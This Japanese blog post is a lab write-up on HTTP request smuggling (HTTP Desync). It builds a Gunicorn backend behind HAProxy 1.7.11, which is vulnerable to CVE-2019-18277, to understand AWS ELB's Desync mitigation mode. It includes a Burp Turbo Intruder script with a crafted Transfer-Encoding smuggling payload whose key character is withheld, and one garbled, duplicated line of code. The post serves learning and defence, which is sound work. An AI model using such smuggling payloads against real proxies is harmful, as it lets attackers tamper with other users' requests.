HTTP Desyncを理解するためにラボ環境を構築して実験してみた

ALB/CLBのHTTP Desync緩和モードが必要な理由が再認識できました
2020.08.24

この記事は公開されてから1年以上経過しています。情報が古い可能性がありますので、ご注意ください。

CX事業本部@大阪の岩田です。

先日のアップデートでALBおよびCLBにHTTP Desync緩和モードが機能追加されました。

このアップデート記事を通じてHTTP Desyncという攻撃手法を初めて知った人も多かったのではないでしょうか?かくいう私もその一人でした。というわけで、HTTP Desyncについてより理解を深めるために実際にラボ環境を構築して実験してみました。なお、今回の実験にはCVE-2019-18277というHAProxyの脆弱性を利用しており、基本的に以下のブログの内容に沿って進めています。

環境

今回検証に利用した環境です。

  • OS: Amazon Linux2(ami-0cc75a8978fbbc969)
  • haproxy 1.7.11
  • Python 3.7.8
    • Flask 1.1.2
    • gunicorn 20.0.4
  • Burp Suite Commuity Edition Version 2020.8

ラボ環境の構築

まずはラボ環境を構築します。先程のブログを参考にクライアント <->HAProxy <-> Gunicornという環境を構築していきます。

EC2上のアプリケーション構築

まずはEC2上のアプリケーション構築です。FlaskとGunicornを使うのでpipでインストールしておきます。

$sudo yum install python3-devel
$sudo pip3 install flask
$sudo pip3 install gunicorn
$sudo pip3 install gunicorn[gevent]

アプリケーション本体のソースコードです。リクエストされたHTTPヘッダーをそのまま返却するだけの処理です。

backend.py

from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def main():
    # the next line is required for Transfer-Encoding support in the request
    request.environ['wsgi.input_terminated'] = True
    headers = {}
    for header in request.headers:
        headers[header[0]] = header[1]
    return jsonify(headers)

準備ができたので一旦Gunicornを起動、ブラウザからEC2のFQDNにアクセスしてGunicornが正常に稼働していることを確認しておきましょう。

$sudo /usr/local/bin/gunicorn --keep-alive 10 -k gevent --bind 0.0.0.0:80 -w 4 backend:app

こんな感じでリクエストヘッダがそのまま出力されればOKです。

{"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","Accept-Encoding":"gzip, deflate","Accept-Language":"ja,en-US;q=0.9,en;q=0.8","Connection":"keep-alive","Host":...略

HAProxyの構築

続いてフロントエンドのリバースプロキシとして利用するHAProxyの環境を構築します。CVE-2019-18277対応前のバージョンである1.7.11をダウンロードして、ソースからコンパイルしてインストールします。

$sudo yum install gcc
$wget http://www.haproxy.org/download/1.7/src/haproxy-1.7.11.tar.gz
$tar zxvf haproxy-1.7.11.tar.gz
$cd haproxy-1.7.11/
$make TARGET=generic
$sudo make install

インストールできたら設定ファイルを用意しておきます。後ほどGunicornを8080ポートで起動するので、localhost:8080にリバースプロキシするように構成します。

defaults
    mode http
    timeout http-keep-alive 10s
    timeout connect 5s
    timeout server 60s
    timeout client 30s
    timeout http-request 30s

backend web
    http-reuse always
    server web0 localhost:8080

frontend http
    bind *:80
    timeout client 5s
    timeout http-request 10s
    default_backend web

準備ができたらGunicorn & HAProxyを起動します。今度はGunicornを8080ポートで起動し、HAProxyは80ポートで起動します。

$ sudo /usr/local/bin/gunicorn --keep-alive 10 -k gevent --bind 0.0.0.0:8080 -w 4 backend:app
$ sudo /usr/local/sbin/haproxy  -f haproxy.cfg

起動できたら再度ブラウザからEC2のFQDNにアクセスしてHAProxy経由でGunicornにアクセスできることを確認しておきましょう。

クライアントの準備&実験

サーバー側の準備ができたので、実際にHTTP request smugglingを試してみます。リクエストヘッダをいじくり回しながらHTTPリクエストを発行するためにBurp SuiteのCommunityエディションを利用します。以下のURLからBurp SuiteをDLして下さい。

https://portswigger.net/burp

DLできたらBurp Suiteを起動し、ExtenderタブのBApp StoreからTurbo Intruderをインストールします。

インストールできたらExtenderタブのExtensionsタブからTurbo IntruderのLoadedにチェックを入れておきます。

これで準備完了です。Burp suiteのRepeaterタブからRequestのあたりを右クリックし、表示されたメニューからSend to turbo intruderを選択します。この際ですが、事前にTargetを設定しておかないと右クリックのメニューに表示されないようなのでラボ環境のURLを事前にTargetに設定しています。

表示されたウインドウに以下のソースコードを貼り付けます。

def queueRequests(target, wordlists)def queueRequests(target, wordlists)8:
    engine = RequestEngine(endpoint='http://<EC2のFQDNを入力>',
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           maxRetriesPerRequest=0
                           )

    attack = '''POST / HTTP/1.1
Host: <EC2のFQDNを入力>
Content-Length: 37
Connection: keep-alive
Transfer-Encoding:<ここに特殊文字を>chunked

1
A
0

GET / HTTP/1.1
X-Foo: bar'''
    engine.queue(attack)
    engine.start()

def handleResponse(req, interesting):
    table.add(req)
    if req.code == 200:
        victim = '''GET / HTTP/1.1
Host: 127.0.0.1:8080
Connection: close

'''

        for i in range(40):
            req.engine.queue(victim)

Transfer-Encoding:chunkedの部分で:cの間に特殊文字を入力するのがポイントです。一応このブログでは利用した特殊文字は伏せておくので、自分で試してみたいという方は参考リンクを読んで頂ければと思います。

準備ができたらAttackをクリックし、結果が表示されるまで少し待ちましょう。

結果です。まず1件目のリクエスト。こちらは悪意のあるユーザーが細工したリクエストになります。

続いて2件目のリクエストです。こちらは悪意の無いユーザーによるリクエストのシミュレーションです。このHTTPリクエストはリクエストヘッダとしてHostヘッダとConnectionヘッダしか送信していません。よってバックエンドのアプリからはHostヘッダだけがそのまま返却されるのが期待値です。が、実際には先程の攻撃者のHTTPリクエストに含まれていたX-Fooヘッダまでレスポンスに含まれています。フロントエンドでリクエストを処理するHAProxyが1件目のHTTPリクエストの終端をご認識していることが分かります。

最後に3件目のリクエストです。こちらも2件目同様に悪意のないユーザーのリクエストのシミュレーションです。攻撃者が仕込んだX-Fooヘッダの中身は2件目のリクエストと合わせて処理済みなので、3件目のリクエストに対するレスポンスは期待通りHOSTヘッダのみとなっています。

まとめ

HTTP Desyncについて理解を深めるためにHAProxyの脆弱性CVE-2019-18277を利用して遊んでみました。今回はHTTPヘッダに少し細工しただけですが、工夫次第で簡単に任意のJavascriptの実行等が可能であることが分かります。先日ELBに追加された設定値であるDesync緩和モードのデフォルト値が「防御的」なのも納得ですね。今度はALBのHTTP Desync緩和モードと合わせて検証してみようと思います!!

参考